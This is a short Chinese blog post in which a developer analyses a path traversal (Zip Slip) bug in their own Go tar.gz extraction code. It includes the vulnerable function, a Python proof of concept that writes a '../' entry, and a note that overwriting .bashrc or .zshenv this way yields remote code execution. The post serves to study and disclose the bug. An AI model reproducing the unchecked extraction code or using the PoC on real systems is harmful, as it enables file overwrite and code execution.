前言

佬:你写的BUG有RCE.

我:???

Untitled

代码分析

import (
	...
	"github.com/mholt/archiver/v4"
)

...

func UnArchive(zipfile, target string) error {
	in, err := os.Open(zipfile)
	if err != nil {
		return err
	}
	defer in.Close()

	format := archiver.CompressedArchive{
		Compression: archiver.Gz{},
		Archival:    archiver.Tar{},
	}

	return format.Extract(context.Background(), in, nil, func(ctx context.Context, f archiver.File) error {
		fh, err := f.Open()
		if err != nil {
			return err
		}
		defer fh.Close()

		ft, err := os.Create(filepath.Join(target, f.NameInArchive))
		if err != nil {
			return err
		}
		defer ft.Close()

		_, err = io.Copy(ft, fh)
		if err != nil {
			return err
		}

		return nil
	})
}

移除一些业务相关的代码,这里的 zipfile 是个可控的 zip 包。

这里我主要掉入两个思维陷阱:

  1. 我错误经验总结认为 go 中的filepath.Join 肯定不会存在目录穿越(大概原因是上了年纪,记错了!
  2. 认为 zip 打包的文件名不会存在 ../../../ 类似这种命名的文件。

接下来只要伪造一个 targz 的包即可:

# poc.sh
## whoami

# poc.py
import tarfile

with tarfile.open("poc.targz", "w:gz") as tar:
    tar.add("poc.sh", arcname="../test.txt")

测试解压,在上级目录成功写入 test.txt 文件。

只要把 arcname 改掉,写入类似于 .bashrc .zshenv 等文件即可 RCE。

总结

j8的开发任务太多了!


Powered by Kali-Team